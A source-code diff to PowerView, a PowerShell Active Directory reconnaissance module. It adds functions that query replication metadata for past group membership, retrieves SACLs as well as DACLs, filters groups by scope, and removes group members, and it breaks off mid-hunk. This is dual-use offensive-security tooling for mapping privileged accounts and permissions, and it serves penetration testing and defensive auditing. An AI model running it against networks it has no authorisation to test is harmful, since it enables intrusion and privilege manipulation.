+ if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
+
+ Get-DomainObject @SearcherArguments | ForEach-Object {
+ $ObjectDN = $_.Properties['distinguishedname'][0]
+ ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
+ $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
+ if ($TempObject) {
+ if ($TempObject.pszAttributeName -Match $PropertyFilter) {
+ $Output = New-Object PSObject
+ $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
+ $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
+ $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
+ $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
+ $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
+ $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
+ $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
+ $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
+ $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
+ $Output
+ }
+ }
+ else {
+ Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
+ }
+ }
+ }
+ }
+}
+
+
function Set-DomainObject {
<#
.SYNOPSIS
@@ -6272,13 +7292,13 @@ scriptpath
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
- [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
- [Alias('Reaplce')]
+ [Alias('Replace')]
[Hashtable]
$Set,
@@ -6601,12 +7621,12 @@ System.Security.AccessControl.AuthorizationRule
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,
-
- [ValidateNotNullOrEmpty()]
+
+ [ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
- [ValidateNotNullOrEmpty()]
+ [ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
@@ -6625,8 +7645,8 @@ System.Security.AccessControl.AuthorizationRule
[Switch]
$Tombstone,
-
- [Management.Automation.PSCredential]
+
+ [Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
@@ -6688,7 +7708,7 @@ System.Security.AccessControl.AuthorizationRule
Process {
if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') {
-
+
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
@@ -6703,8 +7723,9 @@ System.Security.AccessControl.AuthorizationRule
New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType
}
- } else {
-
+ }
+ else {
+
if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
@@ -6909,7 +7930,8 @@ function Get-DomainObjectAcl {
<#
.SYNOPSIS
-Returns the ACLs associated with a specific active directory object.
+Returns the ACLs associated with a specific active directory object. By default
+the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
@@ -6921,6 +7943,10 @@ A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
+.PARAMETER Sacl
+
+Switch. Return the SACL instead of the DACL for the object (default behavior).
+
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
@@ -6982,6 +8008,12 @@ Enumerate the ACL permissions for all OUs in the domain.
.EXAMPLE
+Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
+
+Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
+
+.EXAMPLE
+
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
@@ -7003,6 +8035,9 @@ Custom PSObject with ACL entries.
$Identity,
[Switch]
+ $Sacl,
+
+ [Switch]
$ResolveGUIDs,
[String]
@@ -7051,9 +8086,15 @@ Custom PSObject with ACL entries.
BEGIN {
$SearcherArguments = @{
- 'SecurityMasks' = 'Dacl'
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}
+
+ if ($PSBoundParameters['Sacl']) {
+ $SearcherArguments['SecurityMasks'] = 'Sacl'
+ }
+ else {
+ $SearcherArguments['SecurityMasks'] = 'Dacl'
+ }
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
@@ -7088,6 +8129,17 @@ Custom PSObject with ACL entries.
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $Searcher = Get-DomainSearcher @SearcherArguments
+ if (-not $Searcher) {
+ Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
@@ -7126,8 +8178,7 @@ Custom PSObject with ACL entries.
}
try {
- New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | Select-Object -Expand DiscretionaryAcl | ForEach-Object {
-
+ New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
if ($PSBoundParameters['RightsFilter']) {
$GuidFilter = Switch ($RightsFilter) {
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
@@ -7148,7 +8199,6 @@ Custom PSObject with ACL entries.
if ($Continue) {
$_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
-
if ($GUIDs) {
# if we're resolving GUIDs, map them them to the resolved hash table
$AclProperties = @{}
@@ -7991,6 +9041,17 @@ Custom PSObject with translated OU property fields.
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $OUSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $OUSearcher) {
+ Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
else {
try {
@@ -8250,6 +9311,17 @@ Custom PSObject with translated site property fields.
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $SiteSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $SiteSearcher) {
+ Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
else {
try {
@@ -8508,6 +9580,17 @@ Custom PSObject with translated subnet property fields.
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $SubnetSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $SubnetSearcher) {
+ Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
else {
try {
@@ -8691,6 +9774,16 @@ specifying the user/group member to query for group membership.
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
+.PARAMETER GroupScope
+
+Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for.
+Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations.
+
+.PARAMETER GroupProperty
+
+Specifies a specific property to search for when performing the group search.
+Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem.
+
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
@@ -8853,6 +9946,15 @@ Custom PSObject with translated group property fields.
[Switch]
$AdminCount,
+ [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]
+ [Alias('Scope')]
+ [String]
+ $GroupScope,
+
+ [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]
+ [String]
+ $GroupProperty,
+
[ValidateNotNullOrEmpty()]
[String]
$Domain,
@@ -8968,6 +10070,17 @@ Custom PSObject with translated group property fields.
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $GroupSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $GroupSearcher) {
+ Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
@@ -8997,6 +10110,28 @@ Custom PSObject with translated group property fields.
Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
+ if ($PSBoundParameters['GroupScope']) {
+ $GroupScopeValue = $PSBoundParameters['GroupScope']
+ $Filter = Switch ($GroupScopeValue) {
+ 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' }
+ 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' }
+ 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' }
+ 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' }
+ 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' }
+ 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' }
+ }
+ Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"
+ }
+ if ($PSBoundParameters['GroupProperty']) {
+ $GroupPropertyValue = $PSBoundParameters['GroupProperty']
+ $Filter = Switch ($GroupPropertyValue) {
+ 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
+ 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' }
+ 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' }
+ 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' }
+ }
+ Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"
+ }
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
@@ -9687,6 +10822,17 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $GroupSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $GroupSearcher) {
+ Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
@@ -9890,6 +11036,211 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-
}
+function Get-DomainGroupMemberDeleted {
+<#
+.SYNOPSIS
+
+Returns information on group members that were removed from the specified
+group identity. Accomplished by searching the linked attribute replication
+metadata for the group using Get-DomainObjectLinkedAttributeHistory.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainObjectLinkedAttributeHistory
+
+.DESCRIPTION
+
+Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute
+replication metadata for the specified group. These are cases where the
+'Version' attribute of group member in the replication metadata is even.
+
+.PARAMETER Identity
+
+A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
+Wildcards accepted.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainGroupMemberDeleted | Group-Object GroupDN
+
+Count Name Group
+----- ---- -----
+ 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test...
+ 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t...
+
+.EXAMPLE
+
+Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local
+
+
+GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
+MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local
+TimeFirstAdded : 2017-06-13T23:07:43Z
+TimeDeleted : 2017-06-13T23:26:17Z
+LastOriginatingChange : 2017-06-13T23:26:17Z
+TimesAdded : 2
+LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
+ -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
+ l
+
+GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local
+MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local
+TimeFirstAdded : 2017-06-13T22:20:02Z
+TimeDeleted : 2017-06-13T23:26:17Z
+LastOriginatingChange : 2017-06-13T23:26:17Z
+TimesAdded : 5
+LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
+ -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
+ l
+
+.OUTPUTS
+
+PowerView.DomainGroupMemberDeleted
+
+Custom PSObject with translated replication metadata fields.
+
+.LINK
+
+https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [OutputType('PowerView.DomainGroupMemberDeleted')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
+ [String[]]
+ $Identity,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
+ )
+
+ BEGIN {
+ $SearcherArguments = @{
+ 'Properties' = 'msds-replvaluemetadata','distinguishedname'
+ 'Raw' = $True
+ 'LDAPFilter' = '(objectCategory=group)'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ }
+
+ PROCESS {
+ if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
+
+ Get-DomainObject @SearcherArguments | ForEach-Object {
+ $ObjectDN = $_.Properties['distinguishedname'][0]
+ ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
+ $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
+ if ($TempObject) {
+ if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) {
+ $Output = New-Object PSObject
+ $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
+ $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn
+ $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated
+ $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
+ $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
+ $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2)
+ $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
+ $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted')
+ $Output
+ }
+ }
+ else {
+ Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
+ }
+ }
+ }
+ }
+}
+
+
function Add-DomainGroupMember {
<#
.SYNOPSIS
@@ -10024,6 +11375,128 @@ http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-
}
}
+function Remove-DomainGroupMember {
+<#
+.SYNOPSIS
+
+Removes a domain user (or group) from an existing domain group, assuming
+appropriate permissions to do so.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-PrincipalContext
+
+.DESCRIPTION
+
+First binds to the specified domain context using Get-PrincipalContext.
+The bound domain context is then used to search for the specified -GroupIdentity,
+which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For
+each entry in -Members, each member identity is similarly searched for and removed
+from the group.
+
+.PARAMETER Identity
+
+A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
+specifying the group to remove members from.
+
+.PARAMETER Members
+
+One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName
+(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114),
+or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202).
+
+.PARAMETER Domain
+
+Specifies the domain to use to search for user/group principals, defaults to the current domain.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y'
+
+Removes harmj0y from 'Domain Admins' in the current domain.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred
+
+Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials.
+
+.LINK
+
+http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True)]
+ [Alias('GroupName', 'GroupIdentity')]
+ [String]
+ $Identity,
+
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('MemberIdentity', 'Member', 'DistinguishedName')]
+ [String[]]
+ $Members,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ $ContextArguments = @{
+ 'Identity' = $Identity
+ }
+ if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
+
+ $GroupContext = Get-PrincipalContext @ContextArguments
+
+ if ($GroupContext) {
+ try {
+ $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity)
+ }
+ catch {
+ Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_"
+ }
+ }
+ }
+
+ PROCESS {
+ if ($Group) {
+ ForEach ($Member in $Members) {
+ if ($Member -match '.+\\.+') {
+ $ContextArguments['Identity'] = $Member
+ $UserContext = Get-PrincipalContext @ContextArguments
+ if ($UserContext) {
+ $UserIdentity = $UserContext.Identity
+ }
+ }
+ else {
+ $UserContext = $GroupContext
+ $UserIdentity = $Member
+ }
+ Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'"
+ $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity)
+ $Group.Members.Remove($Member)
+ $Group.Save()
+ }
+ }
+ }
+}
function Get-DomainFileServer {
<#
@@ -10699,6 +12172,10 @@ the files are parsed, and the connection is destroyed later with Remove-RemoteCo
Specifies the GptTmpl.inf file path name to parse.
+.PARAMETER OutputObject
+
+Switch. Output a custom PSObject instead of a hashtable.
+
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
@@ -10740,6 +12217,9 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file.
[String]
$GptTmplPath,
+ [Switch]
+ $OutputObject,
+
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
@@ -10766,9 +12246,21 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file.
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
- $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
- $Contents['Path'] = $TargetGptTmplPath
- $Contents
+
+ if ($PSBoundParameters['OutputObject']) {
+ $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
+ if ($Contents) {
+ $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
+ $Contents
+ }
+ }
+ else {
+ $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
+ if ($Contents) {
+ $Contents['Path'] = $TargetGptTmplPath
+ $Contents
+ }
+ }
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
@@ -11269,6 +12761,17 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
+ # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
+ # and rebuild the domain searcher
+ $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
+ $SearcherArguments['Domain'] = $IdentityDomain
+ $GPOSearcher = Get-DomainSearcher @SearcherArguments
+ if (-not $GPOSearcher) {
+ Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
+ }
+ }
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
@@ -11733,21 +13236,14 @@ for connection to the target domain.
.EXAMPLE
-Find-GPOLocation
+Get-DomainGPOUserLocalGroupMapping
Find all user/group -> machine relationships where the user/group is a member
of the local administrators group on target machines.
.EXAMPLE
-Find-GPOLocation -UserName dfm -Domain dev.testlab.local
-
-Find all computers that dfm user has local administrator rights to in
-the dev.testlab.local domain.
-
-.EXAMPLE
-
-Find-GPOLocation -UserName dfm -Domain dev.testlab.local
